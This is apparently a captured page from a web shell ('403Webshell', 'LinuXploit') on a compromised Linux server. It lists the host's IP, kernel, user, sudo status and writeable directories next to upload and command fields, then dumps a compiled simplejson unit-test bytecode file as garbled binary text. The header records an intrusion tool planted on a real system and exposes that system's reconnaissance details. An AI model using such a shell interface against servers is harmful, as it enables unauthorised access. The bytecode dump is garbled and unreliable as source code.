403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/simplejson/tests/__pycache__/test_unicode.cpython-311.pyc
�

$��c���^�ddlZddlZddlmZddlZddlmZmZm	Z	m
Z
Gd�de��ZdS)�N)�TestCase)�unichr�	text_type�b�BytesIOc�z�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�ZdS)�TestUnicodec���tjd���}d}|�d��}|�|��}|�|��}|�||��dS)N�utf-8��encoding�αΩ)�json�JSONEncoder�encode�assertEqual)�self�encoder�u�s�ju�jss      �?/usr/lib/python3/dist-packages/simplejson/tests/test_unicode.py�test_encoding1zTestUnicode.test_encoding1	si���"�G�4�4�4��I��
�H�H�W����
�^�^�A�
�
��
�^�^�A�
�
������R� � � � � �c��d}|�d��}tj|d���}tj|d���}|�||��dS)Nrrr)rr�dumpsr)rrrrrs     r�test_encoding2zTestUnicode.test_encoding2s\��I��
�H�H�W����
�Z��G�
,�
,�
,��
�Z��G�
,�
,�
,������R� � � � � rc�^�d}tj|��}|�|d��dS)Nrz"\u03b1\u03a9"�rrr�rr�js   r�test_encoding3zTestUnicode.test_encoding3s1��I���J�q�M�M������.�/�/�/�/�/rc�`�d}tj|g��}|�|d��dS)Nrz["\u03b1\u03a9"]r r!s   r�test_encoding4zTestUnicode.test_encoding4s3��I���J��s�O�O������0�1�1�1�1�1rc�n�d}tj|d���}|�|d|zdz��dS)NrF��ensure_ascii�"r r!s   r�test_encoding5zTestUnicode.test_encoding5"s?��I���J�q�u�-�-�-������D�1�H�t�O�,�,�,�,�,rc�p�d}tj|gd���}|�|d|zdz��dS)NrFr'z["z"]r r!s   r�test_encoding6zTestUnicode.test_encoding6'sB��I���J��s��/�/�/������E�A�I��-�.�.�.�.�.rc��d}|�tj|��d��|�tj|d���d��dS)Nu𝄠z"\ud834\udd20"Fr'u"𝄠")rrr�rrs  r�test_big_unicode_encodez#TestUnicode.test_big_unicode_encode,sQ���������A���(:�;�;�;������A�E�:�:�:�O�L�L�L�L�Lrc��d}|�tjd|zdz��|��|�tjd��|��dS)Nuz𝄠xr)z"z\ud834\udd20x")rr�loadsr.s  r�test_big_unicode_decodez#TestUnicode.test_big_unicode_decode1sV���������C�!�G�c�M�2�2�A�6�6�6������$8�9�9�1�=�=�=�=�=rc��tdd��D]?}t|��}d|fz}|�tj|��|���@dS)Nri��z"\u%04x")�rangerrrr1)r�irrs    r�test_unicode_decodezTestUnicode.test_unicode_decode6s]���q�&�!�!�	/�	/�A��q�	�	�A��q�d�"�A����T�Z��]�]�A�.�.�.�.�		/�	/rc�L�d}gd�}|�tj|��t|����|�tj|d����|��tj|tj���}|�|tj|����|�t|��tj��|�tj|tjd����tj|����dS)Nz?{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}))�xkd�)�kcw�)�art�)�hxm�)�qrt�)�pad�)�hoy�c��|S�N���xs r�<lambda>zATestUnicode.test_object_pairs_hook_with_unicode.<locals>.<lambda>Bs��1�r)�object_pairs_hookc��dSrGrHrIs rrKzATestUnicode.test_object_pairs_hook_with_unicode.<locals>.<lambda>Is��$�r)rL�object_hook)rrr1�eval�OrderedDict�type)rr�p�ods    r�#test_object_pairs_hook_with_unicodez/TestUnicode.test_object_pairs_hook_with_unicode=s��N��
4�
4�
4�������A����Q���0�0�0������A���E�E�E�q�I�I�I�
�Z��T�-=�
>�
>�
>������T�-�a�0�0�1�1�1�����b���4�#3�4�4�4������A�6:�6F�0>��@�@�@��)�!�,�,�	.�	.�	.�	.�	.rc��|�tjd�d����ddi��dS)Nu{"a": "é"}r�a�é)rrr1r�rs r�test_default_encodingz!TestUnicode.test_default_encodingMsF�������$4�$;�$;�G�$D�$D�E�E�
�'�N�	�	�	�	�	rc�n�|�ttjd����t��|�ttjd����t��|�ttjd��d��t��dS)Nz""z"a"z["a"]r)rrQrr1rrXs r�test_unicode_preservationz%TestUnicode.test_unicode_preservationQs�������d�j��/�/�0�0�)�<�<�<�����d�j��0�0�1�1�9�=�=�=�����d�j��2�2�1�5�6�6�	�B�B�B�B�Brc���|�ttjgd�����t��|�ttjdd�����t��|�ttjid�����t��|�ttjdd�����t��dS)NFr'r�)rrQrrrrXs r�'test_ensure_ascii_false_returns_unicodez3TestUnicode.test_ensure_ascii_false_returns_unicodeVs�������d�j��%�@�@�@�A�A�9�M�M�M�����d�j���?�?�?�@�@�)�L�L�L�����d�j��%�@�@�@�A�A�9�M�M�M�����d�j��%�@�@�@�A�A�9�M�M�M�M�Mrc��dtd��i}ddi}d}d}|�tj|��|��|�tj|��|��|�tj|d���|��|�tj|d���|��dS)N�quuxuArrêt sur imagesuArrêt sur imagesz!{"quux": "Arr\u00eat sur images"}u{"quux": "Arrêt sur images"}Fr')rrrr)r�doc1�doc2�	doc_ascii�doc_unicodes     r�+test_ensure_ascii_false_bytestring_encodingz7TestUnicode.test_ensure_ascii_false_bytestring_encoding]s�����4�5�5�6���/�0��8�	�8�������D�)�)�9�5�5�5������D�)�)�9�5�5�5������D�u�=�=�=�{�K�K�K������D�u�=�=�=�{�K�K�K�K�Krc��d}|�d��}d}d}|�tj|��|��|�tj|��|��|�tj|d���|��|�tj|d���|��dS)Nu

�utf8z"\u2029\u2028"u"

"Fr')rrrr)r�s1�s2�expect�expect_non_asciis     r�$test_ensure_ascii_linebreak_encodingz0TestUnicode.test_ensure_ascii_linebreak_encodinghs���
��
�Y�Y�v�
�
��#��,�������B����0�0�0������B����0�0�0������B�U�;�;�;�=M�N�N�N������B�U�;�;�;�=M�N�N�N�N�Nrc���|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd	��tjd
k�rZ|�tjtjd��|�tjtjd��|�tjtjd
��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��|�tjtjd��dSdS)Nz"\uz"\u1z"\u12z"\u123z"\u1234z"\u123x"z"\u12x4"z"\u1x34"z"\ux234"i��z
"\ud800\u"z"\ud800\u0"z"\ud800\u00"z
"\ud800\u000"z"\ud800\u000x"z"\ud800\u00x0"z"\ud800\u0x00"z"\ud800\ux000")�assertRaisesr�JSONDecodeErrorr1�sys�
maxunicoderXs r�test_invalid_escape_sequencesz)TestUnicode.test_invalid_escape_sequencesss�����$�.��
�F�C�C�C����$�.��
�G�D�D�D����$�.��
�H�E�E�E����$�.��
�I�F�F�F����$�.��
�J�G�G�G����$�.��
�K�H�H�H����$�.��
�K�H�H�H����$�.��
�K�H�H�H����$�.��
�K�H�H�H��>�E�!�!����d�2�D�J��O�O�O����d�2�D�J��P�P�P����d�2�D�J�@P�Q�Q�Q����d�2�D�J�@Q�R�R�R����d�2�D�J�@R�S�S�S����d�2�D�J�@R�S�S�S����d�2�D�J�@R�S�S�S����d�2�D�J�@R�S�S�S�S�S�"�!rc�.�tttdd����D]>}|�t	j|d���t	j|�����?d}|�t	j|d���d|zdz��dS)Nr�Fr'u☃r))�maprr4rrr)r�c�snowmans   r�test_ensure_ascii_still_worksz)TestUnicode.test_ensure_ascii_still_works�s����V�U�1�c�]�]�+�+�	�	�A�����
�1�5�1�1�1��
�1�
�
�
�
�
�
�!������J�q�u�-�-�-��!�G�c�M�	�	�	�	�	rc�T�d}tjttj|����z}|�tjt|����|��||�d��fD]*}|�tj	|��|���+dS)Nuこんにちわrg)
�codecs�BOM_UTF8rrrr�loadr�decoder1)r�content�json_doc�docs    r�test_strip_bomzTestUnicode.test_strip_bom�s���3���?�Q�t�z�'�':�':�%;�%;�;�������7�8�#4�#4�5�5�w�?�?�?��X�_�_�V�4�4�4�	7�	7�C����T�Z��_�_�g�6�6�6�6�	7�	7rN)�__name__�
__module__�__qualname__rrr#r%r*r,r/r2r6rTrYr[r^rerlrrrxr�rHrrr	r	s4������!�!�!�!�!�!�0�0�0�
2�2�2�
-�-�-�
/�/�/�
M�M�M�
>�>�>�
/�/�/�
.�
.�
.� ���C�C�C�
N�N�N�	L�	L�	L�	O�	O�	O�T�T�T�.	�	�	�7�7�7�7�7rr	)rprz�unittestr�
simplejsonr�simplejson.compatrrrrr	rHrr�<module>r�s���
�
�
�
�
�
�
�
�����������;�;�;�;�;�;�;�;�;�;�;�;�R7�R7�R7�R7�R7�(�R7�R7�R7�R7�R7r

Youez - 2016 - github.com/yon3zu
LinuXploit